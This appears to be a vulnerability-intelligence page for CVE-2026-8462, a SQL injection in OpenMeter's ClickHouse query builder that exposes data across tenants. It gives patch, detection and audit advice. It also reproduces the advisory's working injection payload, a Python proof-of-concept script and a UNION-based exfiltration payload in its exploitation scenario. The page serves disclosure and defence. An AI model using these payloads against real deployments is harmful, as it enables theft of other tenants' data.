OpenMeter's meter creation API allows any authenticated tenant to exfiltrate every other tenant's event data via a SQL injection flaw in the ClickHouse query builder — the vulnerable function in utils_query.go uses fmt.Sprintf string interpolation with an escape function that only neutralizes library placeholders, not single quotes, leaving the shared openmeter.om_events table fully readable by any valid API key holder. With 5,225 downstream dependents and a working PoC already embedded in the advisory, organizations running multi-tenant OpenMeter deployments for AI/ML usage metering face an immediate cross-tenant data isolation failure with no additional preconditions beyond a valid tenant credential. The shared ClickHouse database has zero row-level security, meaning a successful injection returns event subjects, types, raw payloads, and timestamps across every tenant simultaneously. Upgrade to v1.0.0-beta.228 immediately; until patched, restrict POST /api/v1/meters to trusted internal services and audit recent call logs for single-quote or UNION-bearing payloads.
What is the risk?
Despite a 'medium' severity label and no CVSS score yet, operational risk is high for any multi-tenant deployment. Exploitation requires only a valid tenant API key — a low-friction precondition achievable via legitimate platform signup. The shared ClickHouse database carries no row-level security, so a successful injection grants unrestricted read access across all tenants' event data in a single request. The published PoC confirms reliable time-based blind injection with a deterministic 3-second sleep delay; UNION-based bulk exfiltration follows trivially with no additional expertise. No EPSS score is available yet, but the simplicity of the technique, the published PoC, and the 5,225 downstream dependents collectively elevate near-term exploitation probability significantly.
Attack Kill Chain
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| github.com/openmeterio/openmeter | go | < 1.0.0-beta.228 | 1.0.0-beta.228 |
Do you use github.com/openmeterio/openmeter? You're affected.
Severity & Risk
What should I do?
5 steps-
Patch: Upgrade to github.com/openmeterio/openmeter v1.0.0-beta.228 — the fix replaces fmt.Sprintf string interpolation with sb.Var() parameterized binding in openmeter/streaming/clickhouse/utils_query.go.
-
Detection: Query ClickHouse slow-query logs and application access logs for POST /api/v1/meters requests where valueProperty or groupBy values contain single quotes, UNION, sleep(), FROM system., or comment sequences (--).
-
Workaround (if immediate patching is blocked): Apply a WAF or API gateway rule rejecting meter creation payloads containing SQL metacharacters in valueProperty and groupBy fields.
-
Defense-in-depth: Implement ClickHouse row-level security policies scoped per tenant as a durable isolation control regardless of patch status.
-
Audit: Review all POST /api/v1/meters calls in application logs since advisory publication date (2026-06-04) for anomalous payloads or unusually long query durations.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-8462?
OpenMeter's meter creation API allows any authenticated tenant to exfiltrate every other tenant's event data via a SQL injection flaw in the ClickHouse query builder — the vulnerable function in utils_query.go uses fmt.Sprintf string interpolation with an escape function that only neutralizes library placeholders, not single quotes, leaving the shared openmeter.om_events table fully readable by any valid API key holder. With 5,225 downstream dependents and a working PoC already embedded in the advisory, organizations running multi-tenant OpenMeter deployments for AI/ML usage metering face an immediate cross-tenant data isolation failure with no additional preconditions beyond a valid tenant credential. The shared ClickHouse database has zero row-level security, meaning a successful injection returns event subjects, types, raw payloads, and timestamps across every tenant simultaneously. Upgrade to v1.0.0-beta.228 immediately; until patched, restrict POST /api/v1/meters to trusted internal services and audit recent call logs for single-quote or UNION-bearing payloads.
Is CVE-2026-8462 actively exploited?
No confirmed active exploitation of CVE-2026-8462 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-8462?
1. Patch: Upgrade to github.com/openmeterio/openmeter v1.0.0-beta.228 — the fix replaces fmt.Sprintf string interpolation with sb.Var() parameterized binding in openmeter/streaming/clickhouse/utils_query.go. 2. Detection: Query ClickHouse slow-query logs and application access logs for POST /api/v1/meters requests where valueProperty or groupBy values contain single quotes, UNION, sleep(), FROM system., or comment sequences (--). 3. Workaround (if immediate patching is blocked): Apply a WAF or API gateway rule rejecting meter creation payloads containing SQL metacharacters in valueProperty and groupBy fields. 4. Defense-in-depth: Implement ClickHouse row-level security policies scoped per tenant as a durable isolation control regardless of patch status. 5. Audit: Review all POST /api/v1/meters calls in application logs since advisory publication date (2026-06-04) for anomalous payloads or unusually long query durations.
What systems are affected by CVE-2026-8462?
This vulnerability affects the following AI/ML architecture patterns: AI API usage metering platforms, Multi-tenant LLM billing systems, Model serving usage analytics, AI cost management and chargeback pipelines.
What is the CVSS score for CVE-2026-8462?
No CVSS score has been assigned yet.
AI Security Impact
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0029 Denial of AI Service AML.T0049 Exploit Public-Facing Application AML.T0085 Data from AI Services Compliance Controls Affected
Technical Details
Original Advisory
### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") ``` ```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ``` Expected output: ``` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``` ### Impact SQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. ### Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
Exploitation Scenario
An adversary registers as a legitimate tenant on a multi-tenant AI API metering platform and obtains a valid API key through the normal onboarding flow. They craft a POST /api/v1/meters request with a valueProperty of '$.foo\') UNION ALL SELECT concat(tenantId, \":\", toString(data)) FROM openmeter.om_events WHERE tenantId != \'<attacker_id>\' --', which passes JSONPath validation because the prefix '$.foo' is a syntactically valid expression. ClickHouse executes the injected UNION against the shared events table, returning model query payloads, token counts, user identifiers, and timestamps belonging to every other tenant. The adversary iterates through the full dataset using LIMIT/OFFSET pagination across repeated meter creation calls, silently exfiltrating competitive AI usage intelligence and user PII embedded in event metadata — with each response arriving as a standard HTTP 200.
Weaknesses (CWE)
References
- github.com/advisories/GHSA-wc3v-3457-c8cm
- github.com/openmeterio/openmeter/commit/6ce29e743165890c10346f4c71d5bf79f1ecaf6f
- github.com/openmeterio/openmeter/pull/4383
- github.com/openmeterio/openmeter/releases/tag/v1.0.0-beta.228
- github.com/openmeterio/openmeter/security/advisories/GHSA-wc3v-3457-c8cm
Timeline
Related Vulnerabilities
CVE-2026-45370 7.7 utcp-cli: env leak exfiltrates all agent process secrets
Same package: anthropic CVE-2026-21852 7.5 claude_code: Weak Credentials allow account compromise
Same package: anthropic CVE-2026-42074 openclaude: sandbox bypass allows host-level RCE
Same package: anthropic CVE-2026-34450 anthropic-sdk: insecure file perms expose agent memory
Same package: anthropic CVE-2026-34452 Anthropic SDK: TOCTOU symlink escape in async memory tool
Same package: anthropic